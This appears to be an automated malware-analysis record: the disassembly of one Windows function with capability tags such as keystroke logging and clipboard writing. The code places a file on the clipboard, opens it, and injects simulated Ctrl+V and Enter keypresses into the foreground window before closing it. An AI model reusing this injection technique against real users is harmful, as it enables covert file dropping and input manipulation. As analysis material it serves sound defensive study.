Function at 0x402770
Capabilities:
Check for foreground window switch
Check os version
Create process on windows
Get number of processors
Log keystrokes
Open clipboard
Write clipboard data

Disassembly:
push 0xffffffffffffffff
push 0x42c040
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x54], 1
call fcn.00403dc0
mov eax, dword [esp + 0x5c]
push 0x43c6d0
lea ecx, [esp + 0x18]
mov dword [esp + 0x14], eax
mov ebp, dword [eax - 8]
call fcn.0041e79a
lea eax, [esp + 0x14]
push 0x43a2c4
lea ecx, [esp + 0x30]
push eax
push ecx
mov byte [esp + 0x60], 2
call fcn.0041e9c1
push 0x43a2c0
lea edx, [esp + 0x2c]
push eax
push edx
mov byte [esp + 0x60], 3
call fcn.0041e9c1
push 0x43a2bc
push eax
lea eax, [esp + 0x2c]
mov byte [esp + 0x5c], 4
push eax
call fcn.0041e9c1
push str.ed_Dro
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x60], 5
call fcn.0041e9c1
push str.pEff
lea edx, [esp + 0x20]
mov bl, 6
push eax
push edx
mov byte [esp + 0x60], bl
call fcn.0041e9c1
push 0x43a2a8
push eax
lea eax, [esp + 0x20]
mov byte [esp + 0x5c], 7
push eax
call fcn.0041e9c1
mov eax, dword [eax]
push eax
call dword [sym.imp.USER32.dll_RegisterClipboardFormatA]
lea ecx, [esp + 0x18]
mov dword [esp + 0x34], eax
call fcn.0041e72c
lea ecx, [esp + 0x1c]
mov byte [esp + 0x54], bl
call fcn.0041e72c
lea ecx, [esp + 0x20]
mov byte [esp + 0x54], 5
call fcn.0041e72c
lea ecx, [esp + 0x24]
mov byte [esp + 0x54], 4
call fcn.0041e72c
lea ecx, [esp + 0x28]
mov byte [esp + 0x54], 3
call fcn.0041e72c
lea ecx, [esp + 0x2c]
mov byte [esp + 0x54], 2
call fcn.0041e72c
push 4
push 0x2042
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
push ebx
call edi
push ebx
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor eax, eax
mov dword [esp + 0x38], 0x14
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
lea eax, [ebp + ebp + 0x1c]
push eax
push 0x2042
mov dword [esp + 0x50], 1
call esi
push eax
mov dword [esp + 0x34], eax
call edi
mov ecx, 5
lea esi, [esp + 0x38]
mov edi, eax
add eax, 0x14
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x10]
push ebp
push eax
push ebp
push ecx
push 2
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov esi, dword [esp + 0x30]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x402940
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
mov esi, dword [sym.imp.USER32.dll_SetClipboardData]
push 0xf
call esi
mov edx, dword [esp + 0x34]
push ebx
push edx
call esi
call dword [sym.imp.USER32.dll_CloseClipboard]
lea ecx, [esp + 0x14]
mov byte [esp + 0x54], 1
call fcn.0041e72c
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
mov eax, dword [esp + 0x60]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x64
call esi
mov ebp, dword [sym.imp.USER32.dll_GetForegroundWindow]
call ebp
test eax, eax
mov dword [esp + 0x10], eax
je 0x402acf
push 0x14
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x11
call edi
mov ebx, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push 0
push 0
push 0
push 0x56
call ebx
push eax
push 0x56
call edi
push 0
push 2
push 0
push 0x56
call ebx
push eax
push 0x56
call edi
push 0
push 2
push 0
push 0x11
call edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor edx, edx
mov ecx, eax
mov dl, ah
and ecx, 0xff
and edx, 0xff
cmp ecx, 5
mov eax, edx
jne 0x402a5e
cmp eax, 1
jne 0x402a5e
push 0x32
call esi
call ebp
mov ebx, dword [esp + 0x10]
cmp ebx, eax
je 0x402a18
push 0
push 0
push 0
push 0x20
call edi
push 0x14
call esi
push 0
push 2
push 0
push 0x20
call edi
push 0x1e
call esi
push 0x32
call esi
mov dword [esp + 0x10], 2
call ebp
cmp ebx, eax
je 0x402a46
push 0
push 0
push 0
push 0xd
call edi
push 0xa
call esi
push 0
push 2
push 0
push 0xd
call edi
push 0x1e
call esi
mov eax, dword [esp + 0x10]
dec eax
mov dword [esp + 0x10], eax
jne 0x402a24
push 0x64
call esi
push 0
push 0
push 0x10
push ebx
jmp 0x402ac9
xor ebx, ebx
call ebp
cmp eax, dword [esp + 0x10]
jne 0x402a72
push 0x64
call esi
inc ebx
cmp ebx, 0x14
jl 0x402a60
push 0x50
call esi
mov ebx, 4
push 0
push 0
push 0
push 0x26
call edi
push 0x19
call esi
push 0
push 2
push 0
push 0x26
call edi
push 0x32
call esi
dec ebx
jne 0x402a7b
mov ebx, 2
push 0
push 0
push 0
push 0x20
call edi
push 0x19
call esi
push 0
push 2
push 0
push 0x20
call edi
push 0x32
call esi
dec ebx
jne 0x402a9f
mov eax, dword [esp + 0x10]
push 0
push 0
push 0x10
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
lea ecx, [esp + 0x5c]
mov byte [esp + 0x54], 0
call fcn.0041e72c
lea ecx, [esp + 0x60]
mov dword [esp + 0x54], 0xffffffff
call fcn.0041e72c
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x48
ret 8